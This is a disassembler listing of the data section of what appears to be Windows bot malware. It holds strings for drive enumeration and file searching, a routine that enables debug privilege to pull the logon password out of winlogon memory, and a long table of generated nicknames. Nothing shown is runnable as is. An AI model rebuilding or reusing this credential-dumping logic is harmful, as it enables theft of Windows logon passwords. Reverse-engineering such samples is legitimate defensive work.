; sub_41AA42:loc_41AB44r
align 4
aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o
; sub_416B56+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co
align 4
unk_437848 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_437884 db 2Dh ; - ; DATA XREF: sub_416B56+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437930 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_437964 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_437990 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 4
unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_437A24 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004D
dd offset loc_4E0047+2
dd 0
off_437A3C dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo
dd offset byte_520045
dd offset loc_41004D+1
dd offset byte_45004D
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
; sub_416F1A+161o ...
align 10h
unk_437B00 db 2Dh ; - ; DATA XREF: sub_416F1A+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 10h
aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o
align 10h
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo
align 4
dword_437B4C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417552+70o
; sub_4175E9+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437B9C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4175E9+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_437BF0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr
; "q"
; ---------------------------------------------------------------------------
mov al, ds:38004387h
lodsb
inc edx
add [ebx+eax*8], al
inc edx
add [eax-3Eh], bh
inc edx
add [edi+eax*4-5587FFBDh], bl
inc edx
add ah, dl
retn 42h
; ---------------------------------------------------------------------------
push esp
stosb
inc edx
add ah, dl
lodsb
inc edx
add ah, bl
retn 42h
; ---------------------------------------------------------------------------
dd offset aD ; "d"
dd offset dword_438798
dd offset dword_438794
dd offset dword_438790
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_43878C
dd offset dword_438788
dd offset dword_438784
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_438780
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_43877C
dd offset dword_438778
dd offset dword_438774
dd offset dword_438770
dd offset dword_43876C
dd offset word_438768
dd offset dword_438764
dd offset aI_0 ; "I"
dd offset dword_438760
dd offset dword_43875C
dd offset aA_0 ; "A"
dd offset dword_438758
dd offset dword_438754
dd offset dword_438750
dd offset dword_43874C
dd offset dword_438748
dd offset dword_438744
dd offset dword_438740
dd offset dword_43873C
dd offset dword_438738
dd offset dword_438734
dd offset dword_438730
dd offset dword_43872C
dd offset dword_438728
dd offset word_438724
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_4384BC
dd offset off_4384B8
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438324
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_437EF0 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r
; sub_417ADD+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_438780
dd offset aC ; "c"
dd offset aD ; "d"
db 38h ; 8
db 0ACh ; ╛
db 42h ; B
db 0
db 98h ; ≤
db 87h ; ┤
db 43h ; C
db 0
db 94h ; ■
db 87h ; ┤
db 43h ; C
db 0
db 90h ; ░
db 87h ; ┤
db 43h ; C
db 0
db 0D4h ; т
db 0C2h ; б
db 42h ; B
db 0
; ---------------------------------------------------------------------------
cld
mov ah, 42h
add [ebx+esi*4+42h], al
add [eax-39h], bl
inc edx
add [edi+eax*4-533BFFBDh], cl
inc edx
add [eax-4Dh], cl
inc edx
add al, bh
mov dl, 42h
add [edx+ebp*4+42h], dl
add al, ch
retn 42h
; ---------------------------------------------------------------------------
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
; ---------------------------------------------------------------------------
mov al, ds:84004387h
xchg eax, [ebx+0]
pushf
xchg eax, [ebx+0]
mov [edi-7E83FFBDh], al
inc ebx
add [eax-7Fh], bh
inc ebx
add [ecx+eax*4+43h], dh
add [eax-7Fh], dh
inc ebx
add [ecx+eax*4+43h], ch
add [eax-7Fh], ch
inc ebx
add [ecx+eax*4+43h], ah
add [ecx+eax*4+43h], bl
add [ecx+eax*4+43h], dl
add [ecx+eax*4+43h], cl
add [ecx+eax*4+43h], al
add [eax-6BFFBC79h], cl
xchg eax, [ebx+0]
fadd st(2), st
inc edx
add al, ch
retn 42h
; ---------------------------------------------------------------------------
dd offset off_438140
dd offset aBbl ; "|bbl"
dd offset dword_43D128
dd offset dword_43D128
dd offset a___0 ; "_|_"
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_438750
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_438780
dd offset dword_43D128
dd offset aSleeping ; "Sleeping"
dd offset dword_43D128
dd offset dword_43D128
dd offset aFuck ; "Fuck"
dd offset aFree ; "Free"
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_438734
dd offset dword_43D128
dd offset off_438100
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_4380C0
dd offset dword_4380BC
dd offset dword_4380B4
dd offset dword_4380A8
dd offset dword_4380A0
dd offset dword_438098
dd offset dword_438090
dd offset dword_43808C
dd offset dword_438088
dword_438088 dd 7536h ; DATA XREF: ___:00438084o
dword_43808C dd 7535h ; DATA XREF: ___:00438080o
dword_438090 dd 7C75347Ch, 0 ; DATA XREF: ___:0043807Co
dword_438098 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438078o
dword_4380A0 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438074o
dword_4380A8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o
dword_4380B4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043806Co
dword_4380BC dd 6C6F6Ch ; DATA XREF: ___:00438068o
dword_4380C0 dd 746F74h ; DATA XREF: ___:00438064o
aMofo db 'mofo',0 ; DATA XREF: ___:00438060o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:0043805Co
align 4
aMuha db 'muha',0 ; DATA XREF: ___:00438058o
align 4
aYeah db 'yeah',0 ; DATA XREF: ___:00438054o
align 4
aAha db 'aha',0 ; DATA XREF: ___:00438050o
aShit db 'shit',0 ; DATA XREF: ___:0043804Co
align 10h
aGurl db 'gurl',0 ; DATA XREF: ___:00438048o
align 4
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438044o
align 10h
off_438100 dd offset word_594F42 ; DATA XREF: ___:00438040o
aFree db 'Free',0 ; DATA XREF: ___:0043802Co
align 4
aFuck db 'Fuck',0 ; DATA XREF: ___:00438028o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043801Co
align 10h
aF_2 db '^^^f^',0 ; DATA XREF: ___:00438010o
align 4
aSad db 'Sad',0 ; DATA XREF: ___:0043800Co
aLuvu db 'LUVU',0 ; DATA XREF: ___:00438008o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:00437FECo
aBbl db '|bbl',0 ; DATA XREF: ___:00437FE0o
align 10h
off_438140 dd offset loc_425242 ; DATA XREF: ___:00437FDCo
aMuckc db 'muckc',0
align 4
aTruck db 'truck',0
align 4
aTrimy db 'trimy',0
align 4
aLuvy db 'luvy',0
align 4
aUi db 'ui',0
align 4
aSdf db 'sdf',0
aRt db 'rt',0
align 10h
aGf db 'gf',0
align 4
aTy db 'ty',0
align 4
aRg db 'rg',0
align 4
aHappy db 'happy',0
align 4
aRs db 'rs',0 ; DATA XREF: ___:00437F80o
align 4
aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F38o
align 10h
aQ8 db 'Q8',0 ; DATA XREF: ___:00437F34o
align 4
aSick db 'sick}}',0 ; DATA XREF: ___:00437F30o
align 4
aWiked db '|wiked|',0 ; DATA XREF: ___:00437F2Co
aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F28o
align 10h
aGens db '{gens|',0 ; DATA XREF: ___:00437F24o
align 4
aSex db '{sex}',0 ; DATA XREF: ___:00437F20o
align 10h
aHub db '{hub}',0 ; DATA XREF: ___:00437F1Co
align 4
aLuck db '|luck|',0 ; DATA XREF: ___:00437F18o
align 10h
aSuck db '|suck|',0 ; DATA XREF: ___:00437F14o
align 4
aTot db '-|tot|',0 ; DATA XREF: ___:00437F10o
align 10h
aWoh db '|woh|',0 ; DATA XREF: ___:00437F0Co
align 4
aTambe db '|tambe|',0 ; DATA XREF: ___:00437F08o
aLag db 'lag',0 ; DATA XREF: ___:00437F04o
aBad db 'bad',0 ; DATA XREF: ___:00437F00o
aTree db 'tree',0 ; DATA XREF: ___:00437EFCo
align 10h
aZex db 'zex',0 ; DATA XREF: ___:00437EF8o
aLez db 'lez',0 ; DATA XREF: ___:00437EF4o
aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF0o
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EECo
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EE8o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EE4o
align 4
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE0o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EDCo
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437ED8o
align 10h
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437ED4o
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED0o
align 4
aCem39 db 'cem39',0 ; DATA XREF: ___:00437ECCo
align 4
aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EC8o
aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EC4o
align 10h
aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC0o
align 4
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EBCo
align 4
aUla db 'ula',0 ; DATA XREF: ___:00437EB8o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EB4o
aAkden db 'akden',0 ; DATA XREF: ___:00437EB0o
align 4
aKoray db 'KORAY',0 ; DATA XREF: ___:00437EACo
align 4
aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EA8o
align 4
aFirtina db 'firtina',0 ; DATA XREF: ___:00437EA4o
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA0o
aM41ist db 'M41IST',0 ; DATA XREF: ___:00437E9Co
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437E98o
align 10h
aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E94o
align 4
aAnkm db 'ankM',0 ; DATA XREF: ___:00437E90o
align 10h
aErkan db 'erkan',0 ; DATA XREF: ___:00437E8Co
align 4
aDevre db 'devre',0 ; DATA XREF: ___:00437E88o
align 10h
aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E84o
align 4
aBirsen db 'birsen',0 ; DATA XREF: ___:00437E80o
align 10h
aA44m db 'a44m',0 ; DATA XREF: ___:00437E7Co
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E78o
align 4
off_438324 dd offset byte_4B5245 ; DATA XREF: ___:00437E74o
aSevda db 'sevda',0 ; DATA XREF: ___:00437E70o
align 10h
aKotan db 'kotan',0 ; DATA XREF: ___:00437E6Co
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E68o
align 10h
aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E64o
align 4
aKapk db 'kapk',0 ; DATA XREF: ___:00437E60o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E5Co
align 10h
aHayran db 'hayran',0 ; DATA XREF: ___:00437E58o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E54o
align 4
aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E50o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E4Co
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E48o
align 10h
aUmut db 'umut-',0 ; DATA XREF: ___:00437E44o
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E40o
align 10h
aKumul db 'kumul',0 ; DATA XREF: ___:00437E3Co
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E38o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E34o
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E30o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E2Co
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E28o
align 4
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E24o
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E20o
aHoly db 'holy',0 ; DATA XREF: ___:00437E1Co
align 4
aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E18o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E14o
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E10o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E0Co
align 4
aEmre db 'Emre--',0 ; DATA XREF: ___:00437E08o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E04o
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E00o
align 10h
aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437DFCo
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437DF8o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DF4o
aArda db 'arda',0 ; DATA XREF: ___:00437DF0o
align 4
aDevran db 'devran',0 ; DATA XREF: ___:00437DECo
align 10h
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DE8o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DE4o
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE0o
align 10h
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DDCo
align 4
aBogac db 'bogac',0 ; DATA XREF: ___:00437DD8o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DD4o
align 10h
aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD0o
align 4
off_4384B8 dd offset byte_457441 ; DATA XREF: ___:00437DCCo
dword_4384BC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DC8o
aAlbina db 'albina',0 ; DATA XREF: ___:00437DC4o
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC0o
align 4
aZack db 'ZACK',0 ; DATA XREF: ___:00437DBCo
align 10h
aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DB8o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DB4o
align 10h
aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB0o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DACo
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DA8o
align 10h
aRetg db 'RETG',0 ; DATA XREF: ___:00437DA4o
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA0o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437D9Co
aAslii db 'aslii',0 ; DATA XREF: ___:00437D98o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D94o
aHaticem db 'haticem',0 ; DATA XREF: ___:00437D90o
aArzu db 'ARZU',0 ; DATA XREF: ___:00437D8Co
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D88o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D84o
align 10h
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D80o
align 4
aTekir db 'tekir',0 ; DATA XREF: ___:00437D7Co
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D78o
align 10h
aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D74o
align 4
aMelekk db 'melekk',0 ; DATA XREF: ___:00437D70o
align 10h
aAkin db 'AKIN',0 ; DATA XREF: ___:00437D6Co
align 4
aMary db 'MARY',0 ; DATA XREF: ___:00437D68o
align 10h
aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D64o
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D60o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D5Co
align 4
aIrmal db 'irmal',0 ; DATA XREF: ___:00437D58o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D54o
align 4
aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D50o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D4Co
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D48o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D44o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D40o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D3Co
align 10h
aKencing db 'Kencing',0 ; DATA XREF: ___:00437D38o
aReshma db 'reshma',0 ; DATA XREF: ___:00437D34o
align 10h
aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D30o
align 4
aGirl db 'GirL',0 ; DATA XREF: ___:00437D2Co
align 10h
aImra db 'imra',0 ; DATA XREF: ___:00437D28o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D24o
align 4
aPuregold db 'puregold',0 ; DATA XREF: ___:00437D20o
align 10h
aKermit db 'kermit',0 ; DATA XREF: ___:00437D1Co
align 4
aManee db 'manee',0 ; DATA XREF: ___:00437D18o
align 10h
aTroller db 'troller',0 ; DATA XREF: ___:00437D14o
aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D10o
align 10h
aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D0Co
align 4
aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D08o
align 4
aJanno db 'janno',0 ; DATA XREF: ___:00437D04o
align 4
aBunty db 'bunty',0 ; DATA XREF: ___:00437D00o
align 4
aHeval db 'heval',0 ; DATA XREF: ___:00437CFCo
align 4
aCme db 'cme',0 ; DATA XREF: ___:00437CF8o
aMarcy db 'marcy',0 ; DATA XREF: ___:00437CF4o
align 4
aTalika db 'talika',0 ; DATA XREF: ___:00437CF0o
align 10h
aShez db 'Shez',0 ; DATA XREF: ___:00437CECo
align 4
aKen db 'ken',0 ; DATA XREF: ___:00437CE8o
aFlexster db 'flexster',0 ; DATA XREF: ___:00437CE4o
align 4
aKoko db 'koko',0 ; DATA XREF: ___:00437CE0o
align 10h
aMale db 'male',0 ; DATA XREF: ___:00437CDCo
align 4
aSwin db 'swin',0 ; DATA XREF: ___:00437CD8o
align 10h
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CD4o
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD0o
align 10h
aEmilya db 'emilya',0 ; DATA XREF: ___:00437CCCo
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CC8o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CC4o
aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC0o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CBCo
align 10h
aM_0: ; DATA XREF: ___:00437CB8o
; ___:00438004o
unicode 0, <M>,0
word_438724 dw 4Eh ; DATA XREF: sub_419E79+38r
; ___:00437CB4o
align 4
dword_438728 dd 42h ; DATA XREF: ___:00437CB0o
dword_43872C dd 56h ; DATA XREF: ___:00437CACo
